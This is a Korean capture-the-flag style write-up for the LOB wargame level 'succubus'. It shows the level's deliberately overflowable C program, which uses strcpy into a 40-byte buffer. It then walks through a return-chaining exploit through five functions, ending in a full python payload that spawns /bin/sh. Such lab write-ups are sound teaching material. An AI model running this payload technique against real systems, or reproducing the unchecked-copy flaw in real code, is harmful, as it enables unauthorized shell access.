ii4gsp

LOB - Level17 [zombie_assassin -> succubus] 본문

시스템 해킹/LOB

LOB - Level17 [zombie_assassin -> succubus]

ii4gsp 2020. 1. 27. 20:49
/*
    The Lord of the BOF : The Fellowship of the BOF
    - succubus
    - calling functions continuously
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

// the inspector
int check = 0;

void MO(char *cmd)
{
    if(check != 4)
            exit(0);

    printf("welcome to the MO!\n");

        // olleh!
    system(cmd);
}

void YUT(void)
{
    if(check != 3)
            exit(0);

    printf("welcome to the YUT!\n");
    check = 4;
}

void GUL(void)
{
    if(check != 2)
            exit(0);

    printf("welcome to the GUL!\n");
    check = 3;
}

void GYE(void)
{
    if(check != 1)
            exit(0);

    printf("welcome to the GYE!\n");
    check = 2;
}

void DO(void)
{
    printf("welcome to the DO!\n");
    check = 1;
}

main(int argc, char *argv[])
{
    char buffer[40];
    char *addr;

    if(argc < 2){
            printf("argv error\n");
            exit(0);
    }

    // you cannot use library
    if(strchr(argv[1], '\x40')){
            printf("You cannot use library\n");
            exit(0);
    }

    // check address
    addr = (char *)&DO;
    if(memcmp(argv[1]+44, &addr, 4) != 0){
            printf("You must fall in love with DO\n");
            exit(0);
    }

    // overflow!
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);

    // stack destroyer
    // 100 : extra space for copied argv[1]
    memset(buffer, 0, 44);
    memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

    // LD_* eraser
    // 40 : extra space for memset function
    memset(buffer-3000, 0, 3000-40);
}

문제 소스코드이다.

라이브러리 주소 사용금지 + main()함수의 RET는 DO()함수의 주소여야한다.

함수가 많듯 RTL Chaining을 이용하면된다.

MO()함수에서 system(cmd)를 system("/bin/sh")로 바꿔주면 쉘을 획득할 수 있다.

 

  

 

 

각 함수의 주소를 모두 구해주자

 

 

 

 

<main+173>부분에 break point를 걸어주고 "A"는 dummy "B"는 "/bin/sh"주소 "C"는 "/bin/sh"를 넣을공간이다.

스택값을 확인해보자

 

 

 

 

0xbffffa3c - 4 = 0xbffffa38

0xbffffa38부터 "C" 즉, 0x43의 값이있다.

0xbffffa38에 "/bin/sh"를 넣어주면 된다.

 

 

 

 

core dumped가 떳다 core파일을 분석해보자

 

 

 

 

0xbffffabc - 4 = 0xbffffab8

0xbffffab8 주소에 "/bin/sh"가 있다.

페이로드를 작성해주자

buffer + sfp + &DO() + &GYE() + &GUL() + &YUT() + &MO + dummy + &"/bin/sh" + "/bin/sh"

                 [44byte]     [4byte]    [4byte]    [4byte]     [4byte]   [4byte]   [4byte]      [4byte]         [8byte]

 

 

 

 

payload

./succubus $(python -c 'print "\x90" * 44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "\x90" * 4 + "\xb8\xfa\xff\xbf" + "/bin/sh"')
Comments